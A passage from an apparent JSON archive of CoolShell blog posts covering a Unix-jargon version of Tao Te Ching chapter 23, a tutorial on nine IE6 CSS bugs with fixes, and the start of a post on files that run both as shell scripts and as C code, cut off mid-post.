align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22242.html\"><img alt=\"ETCD的内存问题\" height=\"150\" src=\"../wp-content/uploads/2022/05/etcd-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22242.html\">ETCD的内存问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21615.html\"><img alt=\"Go编程模式 ： 泛型编程\" height=\"150\" src=\"../wp-content/uploads/2021/09/go-generics-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21615.html\">Go编程模式 ： 泛型编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21263.html\"><img alt=\"Go 编程模式：k8s Visitor 模式\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.k8s-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21263.html\">Go 编程模式：k8s Visitor 模式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21228.html\"><img alt=\"Go编程模式：Pipeline\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.line_.-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21228.html\">Go编程模式：Pipeline</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21214.html\"><img alt=\"Go编程模式：委托和反转控制\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.pair_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21214.html\">Go编程模式：委托和反转控制</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21179.html\"><img alt=\"Go 编程模式：Go Generation\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.generate-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21179.html\">Go 编程模式：Go Generation</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1788.html\">程序语言性能比拼</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-11-16 超强：Unix道德经(英文版).html",
    "content": "<html><body><p></p>\n<p style=\"text-align: left;\"><strong>主页：</strong><a href=\"http://mercury.ccil.org/~cowan/upc/\"><strong>http://mercury.ccil.org/~cowan/upc/</strong></a></p>\n<p style=\"text-align: left;\">这是一个人主页，博主说，这是一个“黑客式”版本的 <cite><a href=\"http://www.google.com/search?q=%22Tao+Te+Ching%22\">Dao De Ching</a></cite> (字面理解是”way power classic”，道路权力名著).他并对中文其实并不懂。他只是为Jonathan Star的 <a href=\"http://www.amazon.com/exec/obidos/ASIN/1585420999\">逐字翻译</a> 而工作，其使用了在线的中文一个词典 <a href=\"http://zhongwen.com/dao.htm\"><em>zhongwen.com</em></a>对《道德经》一字一字地翻译。</p>\n<p style=\"text-align: left;\">他对《道德经》并不是很懂，除了知道那是中文，而且知道这是一个相当老的，而且，2500年前的那些是非常喜欢的一个作品，正如 <a href=\"http://www.ursulakleguin.com/\">Ursula K. LeGuin</a> 在 <a href=\"http://www.amazon.com/exec/obidos/ASIN/1570623953\">她的版本</a>中所说的一样。作者说《道德经》是对道德，政治和宗教信仰做了很多的解释。到了今天，还有人在读这本书，说明了这本书的不朽，美妙和意味深长。</p>\n<p style=\"text-align: left;\">下面是《道德经》的 81 个章节 ，作者并没有完全写完（或者说是hack完），你可以点击链接查看其中的内容。</p>\n<p style=\"text-align: center;\"><a href=\"http://mercury.ccil.org/~cowan/upc/01.txt\">01</a> 02 03 <a href=\"http://mercury.ccil.org/~cowan/upc/04.txt\">04</a> 05 06 <a href=\"http://mercury.ccil.org/~cowan/upc/07.txt\">07</a> <a href=\"http://mercury.ccil.org/~cowan/upc/08.txt\">08</a> <a href=\"http://mercury.ccil.org/~cowan/upc/09.txt\">09</a><br/>\n10 11 12 13 14 <a href=\"http://mercury.ccil.org/~cowan/upc/15.txt\">15</a> 16 <a href=\"http://mercury.ccil.org/~cowan/upc/17.txt\">17</a> <a href=\"http://mercury.ccil.org/~cowan/upc/18.txt\">18</a><br/>\n19 20 <a href=\"http://mercury.ccil.org/~cowan/upc/21.txt\">21</a> 22 <a href=\"http://mercury.ccil.org/~cowan/upc/23.txt\">23</a> 24 25 26 27<br/>\n<a href=\"http://mercury.ccil.org/~cowan/upc/28.txt\">28</a> 29 30 31 32 33 <a href=\"http://mercury.ccil.org/~cowan/upc/34.txt\">34</a> 35 36<br/>\n37 38 <a href=\"http://mercury.ccil.org/~cowan/upc/39.txt\">39</a> <a href=\"http://mercury.ccil.org/~cowan/upc/40.txt\">40</a> <a href=\"http://mercury.ccil.org/~cowan/upc/41.txt\">41</a> <a href=\"http://mercury.ccil.org/~cowan/upc/42.txt\">42</a> <a href=\"http://mercury.ccil.org/~cowan/upc/43.txt\">43</a> 44 45<br/>\n46 47 <a href=\"http://mercury.ccil.org/~cowan/upc/48.txt\">48</a> 49 50 51 52 <a href=\"http://mercury.ccil.org/~cowan/upc/53.txt\">53</a> 54<br/>\n55 56 <a href=\"http://mercury.ccil.org/~cowan/upc/57.txt\">57</a> 58 59 <a href=\"http://mercury.ccil.org/~cowan/upc/60.txt\">60</a> 61 62 <a href=\"http://mercury.ccil.org/~cowan/upc/63.txt\">63</a><br/>\n64 <a href=\"http://mercury.ccil.org/~cowan/upc/65.txt\">65</a> 66 <a href=\"http://mercury.ccil.org/~cowan/upc/67.txt\">67</a> <a href=\"http://mercury.ccil.org/~cowan/upc/68.txt\">68</a> 69 70 <a href=\"http://mercury.ccil.org/~cowan/upc/71.txt\">71</a> <a href=\"http://mercury.ccil.org/~cowan/upc/72.txt\">72</a><br/>\n73 74 75 76 77 78 <a href=\"http://mercury.ccil.org/~cowan/upc/79.txt\">79</a> 80 <a href=\"http://mercury.ccil.org/~cowan/upc/81.txt\">81</a></p>\n<p style=\"text-align: left;\">点击第23章，可以看到hack版的充满Unix术语的经文翻译。下面给出原文和转译版的对照。（老实说，翻译的怎是一个强字了得啊）下面给出中英对照版。</p>\n<p><span id=\"more-1794\"></span><br/>\n</p><center>\n<table border=\"1\" style=\"text-align: center;\">\n<tbody>\n<tr>\n<td><strong>中文原文</strong></td>\n<td><strong>英文Hack版</strong></td>\n</tr>\n<tr>\n<td>\n<p style=\"text-align: left;\">希言自然。</p>\n<p style=\"text-align: left;\">故飘风不终朝，<br/>\n骤雨不终日。<br/>\n孰为此者﹖<br/>\n天地。</p>\n<p style=\"text-align: left;\">天地尚不能久，<br/>\n而况于人乎﹖</p>\n<p>故从事于道者，</p>\n<p style=\"text-align: left;\">道者同于道，<br/>\n德者同于德，<br/>\n失者同于失。</p>\n<p style=\"text-align: left;\">同于道者，<br/>\n道亦乐得之；<br/>\n同于德者，<br/>\n德亦乐得之；<br/>\n同于失者，<br/>\n失亦乐得之。</p>\n<p style=\"text-align: left;\">信不足焉，<br/>\n有不信焉。</p>\n</td>\n<td>\n<p style=\"text-align: left;\">A few words about the matter:</p>\n<p style=\"text-align: left;\">Flames don’t outlast the message,<br/>\nFlamewars don’t outlast the thread.<br/>\nWhat are the causes of these?<br/>\nThe total system.</p>\n<p style=\"text-align: left;\">If the works of the total system<br/>\ncan’t last forever,<br/>\nhow much less can anyone else’s, in fact?</p>\n<p style=\"text-align: left;\">So do business with Unix people.</p>\n<p style=\"text-align: left;\">Unix people are one with Unix,<br/>\nPower people are one with Power,<br/>\n(Lusers are one with Lossage.)</p>\n<p style=\"text-align: left;\">Being one with Unix people,<br/>\nUnix must be happy with them.<br/>\nPower too is happy with them.<br/>\n(Even being one with lusers counts.)</p>\n<p style=\"text-align: left;\">Trusting’s not enough, in fact;<br/>\nHaving’s not trusting, either.</p>\n</td>\n</tr>\n</tbody>\n</table>\n<p></p></center><br/>\n我相信这不是恶搞，但面对这样的事情——“老子”，“道德经”，“ Unix”和“英文”的和谐统一体，我无法不服啊。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n-->\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19996.html\"><img alt=\"Unix 50 年：Ken Thompson 的密码\" height=\"150\" src=\"../wp-content/uploads/2019/11/ken.dennis-300x186-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19996.html\">Unix 50 年：Ken Thompson 的密码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12103.html\"><img alt=\"vfork 挂掉的一个问题\" height=\"150\" src=\"../wp-content/uploads/2014/11/tux-fork-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12103.html\">vfork 挂掉的一个问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11847.html\"><img alt=\"谜题的答案和活动的心得体会\" height=\"150\" src=\"../wp-content/uploads/2014/08/puzzle-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11847.html\">谜题的答案和活动的心得体会</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9410.html\"><img alt=\"Unix考古记：一个“遗失”的shell\" height=\"150\" src=\"../wp-content/uploads/2013/04/figure1-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9410.html\">Unix考古记：一个“遗失”的shell</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1794.html\">超强：Unix道德经(英文版)</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-11-17 9个最常见IE的Bug及其fix.html",
    "content": "<html><body><p><img alt=\"9个最常见IE的Bug及其fix\" class=\"alignright\" height=\"132\" src=\"http://nettuts.s3.amazonaws.com/494_ie/images/200x200.jpg\" width=\"138\"/></p>\n<p>Internet Explorer – Web程序员的毒药。在IE上开发时间中有超过60%的时间是花在和IE的bug进行搏斗，让你的开发生产率严重下降。下面是一个教程，告诉你9个IE上最常见的BUG以及如何解决它们。</p>\n<h4>1. 居中布局</h4>\n<p>创建一个CSS定义把一个元素放到中间的位置，可能是每一个Web开发人员都会做的事情。最简单的做法是为你的元素增加一个<em>margin: auto;</em> ，然而 IE 6.0 会出现很多奇怪的行为。让我们来看一个例子。</p>\n<pre class=\"EnlighterJSRAW\">\n#container{\n\tborder: solid 1px #000;\n\tbackground: #777;\n\twidth: 400px;\n\theight: 160px;\n\tmargin: 30px 0 0 30px;\n}\n\n#element{\n\tbackground: #95CFEF;\n\tborder: solid 1px #36F;\n\twidth: 300px;\n\theight: 100px;\n\tmargin: 30px auto;\n\n}\n</pre>\n<p>下面是我们所期望的输出：</p>\n<p><span id=\"more-1817\"></span></p>\n<div class=\"tutorial_image\"><img alt=\"Tutorial Image\" border=\"0\" src=\"http://nettuts.s3.amazonaws.com/494_ie/images/1-1.png\"/></div>\n<p>但IE却给我们这样的输出：</p>\n<div class=\"tutorial_image\"><img alt=\"Tutorial Image\" border=\"0\" src=\"http://nettuts.s3.amazonaws.com/494_ie/images/1-2.png\"/></div>\n<p>这应该是IE 6对margin的 <em>auto</em> 并没有正确的设置。但幸运的是，这是很容易被修正的。</p>\n<p><strong>解决方法</strong></p>\n<p>最简单的方法是在父元件中使用 <em>text-align: center</em> 属性，而在元件中使用 <em>text-align: left</em> 。</p>\n<pre class=\"EnlighterJSRAW\">\n#container{\n\tborder: solid 1px #000;\n\tbackground: #777;\n\twidth: 400px;\n\theight: 160px;\n\tmargin: 30px 0 0 30px;\n\ttext-align: center;\n}\n\n#element{\n\tbackground: #95CFEF;\n\tborder: solid 1px #36F;\n\twidth: 300px;\n\theight: 100px;\n\tmargin: 30px 0;\n    \ttext-align: left;\n\n}\n</pre>\n<h4>2. 楼梯式的效果</h4>\n<p>几乎所有的Web开发者都会使用list来创建导航条。下面是你可能会用到的代码：</p>\n<pre class=\"EnlighterJSRAW\">\n    &lt;ul&gt;\n        &lt;li&gt;&lt;a href=\"#\"&gt;&lt;/a&gt;&lt;/li&gt;\n        &lt;li&gt;&lt;a href=\"#\"&gt;&lt;/a&gt;&lt;/li&gt;\n        &lt;li&gt;&lt;a href=\"#\"&gt;&lt;/a&gt;&lt;/li&gt;\n    &lt;/ul&gt;\n</pre>\n<p> </p>\n<pre class=\"EnlighterJSRAW\">\nul {\n    list-style: none;\n}\n\nul li a {\n   \tdisplay: block;\n   \twidth: 130px;\n\theight: 30px;\n   \ttext-align: center;\n   \tcolor: #fff;\n   \tfloat: left;\n\tbackground: #95CFEF;\n\tborder: solid 1px #36F;\n\tmargin: 30px 5px;\n}\n</pre>\n<p>一个符合标准的浏览器会是下面这样：</p>\n<div class=\"tutorial_image\"><img alt=\"Tutorial Image\" border=\"0\" src=\"http://nettuts.s3.amazonaws.com/494_ie/images/2-1.png\"/></div>\n<p>但IE却是这样的：</p>\n<p><img alt=\"Tutorial Image\" border=\"0\" src=\"http://nettuts.s3.amazonaws.com/494_ie/images/2-2.png\"/></p>\n<p>下面是两个解决方法</p>\n<p><b>解决方法一</b></p>\n<p>设置li元件的float属性。</p>\n<pre class=\"EnlighterJSRAW\">\nul li {\n\tfloat: left;\n}\n</pre>\n<p><strong>解决方法二</strong></p>\n<p>设置 <em>display: inline</em> 属性。</p>\n<pre class=\"EnlighterJSRAW\">\nul li {\n\tdisplay: inline\n}\n</pre>\n<h4>3. float元件的两倍空白</h4>\n<p>请看下面的代码：</p>\n<pre class=\"EnlighterJSRAW\">\n#element{\n\tbackground: #95CFEF;\n\twidth: 300px;\n\theight: 100px;\n\tfloat: left;\n\tmargin: 30px 0 0 30px;\n\tborder: solid 1px #36F;\n}\n</pre>\n<p>期望的结果是：</p>\n<div class=\"tutorial_image\"><img alt=\"Tutorial Image\" border=\"0\" src=\"http://nettuts.s3.amazonaws.com/494_ie/images/3-1.png\"/></div>\n<p>IE的结果是：</p>\n<div class=\"tutorial_image\"><img alt=\"Tutorial Image\" border=\"0\" src=\"http://nettuts.s3.amazonaws.com/494_ie/images/3-2.png\"/></div>\n<p><strong>解决方案</strong></p>\n<p>和上面那个BUG的解决方案一样，设置 <em>display: inline</em> 属性可以解决问题。</p>\n<pre class=\"EnlighterJSRAW\">\n#element{\n\tbackground: #95CFEF;\n\twidth: 300px;\n\theight: 100px;\n\tfloat: left;\n\tmargin: 30px 0 0 30px;\n\tborder: solid 1px #36F;\n   \tdisplay: inline;\n}\n</pre>\n<h4>4. 无法设置微型高度</h4>\n<p>我们发现在IE中使用 <em>height: XXpx</em> 这样的属性无法设置比较小的高度。下面是个例子（注意高度是2px）：</p>\n<pre class=\"EnlighterJSRAW\">\n#element{\n\tbackground: #95CFEF;\n\tborder: solid 1px #36F;\n\twidth: 300px;\n\theight: 2px;\n\tmargin: 30px 0;\n}\n</pre>\n<p>期望结果： 2px的元件加1px的边框.</p>\n<div class=\"tutorial_image\"><img alt=\"Tutorial Image\" border=\"0\" src=\"http://nettuts.s3.amazonaws.com/494_ie/images/4-1.png\"/></div>\n<p>IE的结果：</p>\n<div class=\"tutorial_image\"><img alt=\"Tutorial Image\" border=\"0\" src=\"http://nettuts.s3.amazonaws.com/494_ie/images/4-2.png\"/></div>\n<p><strong>解决方案一</strong></p>\n<p>这个BUG的产生原因很简单，IE不允许元件的高度小于字体的高度，所以，下面的fix是设置上字体大小。</p>\n<pre class=\"EnlighterJSRAW\">\n#element{\n\tbackground: #95CFEF;\n\tborder: solid 1px #36F;\n\twidth: 300px;\n\theight: 2px;\n\tmargin: 30px 0;\n    \tfont-size: 0;\n}\n</pre>\n<p><strong>解决方案二</strong></p>\n<p>但是最佳的解决方法是使用 <em>overflow: hidden</em> 。</p>\n<pre class=\"EnlighterJSRAW\">\n#element{\n\tbackground: #95CFEF;\n\tborder: solid 1px #36F;\n\twidth: 300px;\n\theight: 2px;\n\tmargin: 30px 0;\n    \toverflow: hidden\n}\n</pre>\n<h4>5. 跨出边界</h4>\n<p>这个BUG是很难看的。当父元件中使用了 <em>overflow</em> 的 <em>auto</em> 属性，并且在其里放入相关元件。你会看来里面的元件会跨出来。下面是一个示例：</p>\n<pre class=\"EnlighterJSRAW\">\n&lt;div id=\"element\"&gt;&lt;div id=\"anotherelement\"&gt;&lt;/div&gt;&lt;/div&gt;\n</pre>\n<p> </p>\n<pre class=\"EnlighterJSRAW\">\n#element{\n\tbackground: #95CFEF;\n\tborder: solid 1px #36F;\n\twidth: 300px;\n\theight: 150px;\n\tmargin: 30px 0;\n\toverflow: auto;\n}\n\n#anotherelement{\n\tbackground: #555;\n\twidth: 150px;\n\theight: 175px;\n\tposition: relative;\n\tmargin: 30px;\n}\n</pre>\n<p>期望的结果：</p>\n<div class=\"tutorial_image\"><img alt=\"Tutorial Image\" border=\"0\" src=\"http://nettuts.s3.amazonaws.com/494_ie/images/5-1.png\"/></div>\n<p>IE的结果：</p>\n<div class=\"tutorial_image\"><img alt=\"Tutorial Image\" border=\"0\" src=\"http://nettuts.s3.amazonaws.com/494_ie/images/5-2.png\"/></div>\n<p><strong>解决方法</strong></p>\n<p>设置 position: relative;属性</p>\n<pre class=\"EnlighterJSRAW\">\n#element{\n\tbackground: #95CFEF;\n\tborder: solid 1px #36F;\n\twidth: 300px;\n\theight: 150px;\n\tmargin: 30px 0;\n\toverflow: auto;\n    \tposition: relative;\n}\n</pre>\n<h4>6. Fixing the Broken Box Model</h4>\n<p>Internet Explorer曲解了“盒子模子”可能是最不可原谅的事情了。IE 6 这个半标准的浏览器回避了这个事情，但这个问题还是会因为IE运行在“怪异模式”下出现。</p>\n<p>两个Div元件。一个是有fix的，一个是没有的。而他们不同的高和宽加上padding的总合却是不一样的。下图的上方是被修正的，下方则没有。</p>\n<div class=\"tutorial_image\"><img alt=\"Tutorial Image\" border=\"0\" src=\"http://nettuts.s3.amazonaws.com/494_ie/images/6.png\"/></div>\n<p><strong>解决方法</strong></p>\n<p>我相信这个事情即不需要解释也不需要演示，这应该是大多数人都明白的。下面是一个很相当怪异的解决方案</p>\n<pre class=\"EnlighterJSRAW\">\n#element{\n\twidth: 400px;\n    \theight: 150px;\n\tpadding: 50px;\n}\n</pre>\n<p>上面的定义也就是说：</p>\n<pre class=\"EnlighterJSRAW\">\n#element {\n    width: 400px;\n    height: 150px;\n   \\height: 250px;\n   \\width: 500px\n}\n</pre>\n<p>是的，你要原来的长和宽上加上了padding。但这个fix只会作用于IE了的“怪异模式”，所以你不需要担心在IE6的正常模式下会有问题。</p>\n<h4>7. 设置min-height和min-width</h4>\n<p>IE忽略了min-height。</p>\n<p><strong>解决方法一</strong></p>\n<p>这个fix由 <a href=\"http://www.dustindiaz.com/min-height-fast-hack/\">Dustin Diaz</a>提供。其利用了 <em>!important</em> 下面是代码片段：</p>\n<pre class=\"EnlighterJSRAW\">\n#element {\n  min-height:150px;\n  height:auto !important;\n  height:150px;\n}\n</pre>\n<p><strong>解决方法二</strong></p>\n<pre class=\"EnlighterJSRAW\">\n#element {\n    min-height: 150px;\n    height: 150px;\n}\n\nhtml&gt;body #element {\n\theight: auto;\n}\n</pre>\n<h4>8. Float 布局错误行为 Misbehaving</h4>\n<p>使用无table的布局最重要的就是使用CSS的float元件。在很多情况下，IE6处理起来好像在摸索阶段，有些时候，你会发现很多奇怪的行为。比如在其中有一些文本的时候。</p>\n<p>来看一下下面这个示例：</p>\n<pre class=\"EnlighterJSRAW\">\n&lt;div id=\"container\"&gt;\n\t&lt;div id=\"element\"&gt;http://net.tutsplus.com/&lt;/div&gt;\n\t&lt;div id=\"anotherelement\"&gt;&lt;/div&gt;\n&lt;/div&gt;\n</pre>\n<p> </p>\n<pre class=\"EnlighterJSRAW\">\n#element, #anotherelement{\n\tbackground: #95CFEF;\n\tborder: solid 1px #36F;\n\twidth: 100px;\n\theight: 150px;\n\tmargin: 30px;\n\tpadding: 10px;\n\tfloat: left;\n}\n\n#container{\n\tbackground: #C2DFEF;\n\tborder: solid 1px #36F;\n\twidth: 365px;\n\tmargin: 30px;\n\tpadding: 5px;\n\toverflow: auto;\n}\n</pre>\n<p>期望结果：</p>\n<div class=\"tutorial_image\"><img alt=\"Tutorial Image\" border=\"0\" src=\"http://nettuts.s3.amazonaws.com/494_ie/images/8-1.png\"/></div>\n<p>IE的结果：</p>\n<div class=\"tutorial_image\"><img alt=\"Tutorial Image\" border=\"0\" src=\"http://nettuts.s3.amazonaws.com/494_ie/images/8-2.png\"/></div>\n<p>你可以看到其中的不同了</p>\n<p><strong>解决方法</strong></p>\n<p>要解决这个问题没有什么好的方法。只有一个方法，那就是使用 <em>overflow: hidden</em> 。</p>\n<pre class=\"EnlighterJSRAW\">\n#element{\n\tbackground: #C2DFEF;\n\tborder: solid 1px #36F;\n\twidth: 365px;\n\tmargin: 30px;\n\tpadding: 5px;\n\toverflow: hidden;\n}\n</pre>\n<h4>9. 在list项目门的空行</h4>\n<p>先看下面的例子</p>\n<pre class=\"EnlighterJSRAW\">\n&lt;ul&gt;\n &lt;li&gt;&lt;a href=\"#\"&gt;Link 1&lt;/a&gt;&lt;/li&gt;\n &lt;li&gt;&lt;a href=\"#\"&gt;Link 2&lt;/a&gt;&lt;/li&gt;\n &lt;li&gt;&lt;a href=\"#\"&gt;Link 3&lt;/a&gt;&lt;/li&gt;\n&lt;/ul&gt;\n</pre>\n<p> </p>\n<pre class=\"EnlighterJSRAW\">\nul {\n\tmargin:0;\n\tpadding:0;\n\tlist-style:none;\n}\n\nli a {\n\tbackground: #95CFEF;\n\tdisplay: block;\n}\n</pre>\n<p>期望结果：</p>\n<div class=\"tutorial_image\"><img alt=\"Tutorial Image\" border=\"0\" src=\"http://nettuts.s3.amazonaws.com/494_ie/images/9-1.png\"/></div>\n<p>IE的结果：</p>\n<div class=\"tutorial_image\"><img alt=\"Tutorial Image\" border=\"0\" src=\"http://nettuts.s3.amazonaws.com/494_ie/images/9-2.png\"/></div>\n<p>Fortunately, there are a plethora of fixes you could try.</p>\n<p><strong>解决方法一</strong></p>\n<p>定义height来解决</p>\n<pre class=\"EnlighterJSRAW\">\nli a {\n\tbackground: #95CFEF;\n\tdisplay: block;\n    \theight: 200px;\n}\n</pre>\n<p><strong>解决方法二</strong></p>\n<pre class=\"EnlighterJSRAW\">\nli a {\n\tbackground: #95CFEF;\n\tfloat: left;\n    \tclear: left;\n}\n</pre>\n<p><strong>解决方法三</strong></p>\n<p>为 <em>li</em> 加上<em>display: inline</em>。</p>\n<pre class=\"EnlighterJSRAW\">\nli {\n\tdisplay: inline;\n}\n</pre>\n<h4>结论</h4>\n<p>调界面是一件很难的事，调一个CSS的HTML界面是一件更难的事，在IE下调一个CSS的HTML界面是难上加难的事。</p>\n<p>文章：<a href=\"http://net.tutsplus.com/tutorials/html-css-techniques/9-most-common-ie-bugs-and-how-to-fix-them/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9666.html\"><img alt=\"浏览器的渲染原理简介\" height=\"150\" src=\"../wp-content/uploads/2013/05/Render-Process-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9666.html\">浏览器的渲染原理简介</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6840.html\"><img alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" height=\"150\" src=\"../wp-content/uploads/2012/03/css-layouts-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6840.html\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3903.html\"><img alt=\"一些有意思的贴子和工具\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3903.html\">一些有意思的贴子和工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3063.html\"><img alt=\"40个很不错的CSS技术\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3063.html\">40个很不错的CSS技术</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1817.html\">9个最常见IE的Bug及其fix</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-11-19 C语言和sh脚本的杂交代码.html",
    "content": "<html><body><p>在网上看到了一个把 C语言和bash杂并起来的例子，这个示子如下所示。在下面这个例子中，我们把脚本用#if 0这个预编译给起来，这样就不会让其编译到C语言中了。</p>\n<pre class=\"EnlighterJSRAW\">#if 0\necho \"Hello from bash!\"\nexit\n#endif\n#include &lt;stdlib.h&gt;\n#include &lt;stdio.h&gt;\nint main(int argc, char* argv[]) {\n  puts(\"Hello from C!\");\n  return EXIT_SUCCESS;\n}</pre>\n<p>下面，让我看看如果来使用这样的程序：</p>\n<pre class=\"EnlighterJSRAW\">$ sh test.sh.c\nHello from bash!\n$ gcc test.sh.c -o test\n$ ./test\nHello from C!\n</pre>\n<p>你甚至还可以做一个自我编译，并自我运行的源代码。如下所示：</p>\n<p><span id=\"more-1824\"></span></p>\n<pre class=\"EnlighterJSRAW\">#if 0\nfile=`mktemp`\ngcc -o $file $0\n$file\nrm $file\nexit\n#endif\n#include &lt;stdlib.h&gt;\n#include &lt;stdio.h&gt;\n\nint main(int argc, char *argv[]) {\n  puts(\"Hello from C!\");\n  return EXIT_SUCCESS;\n}</pre>\n<p>运行：</p>\n<pre 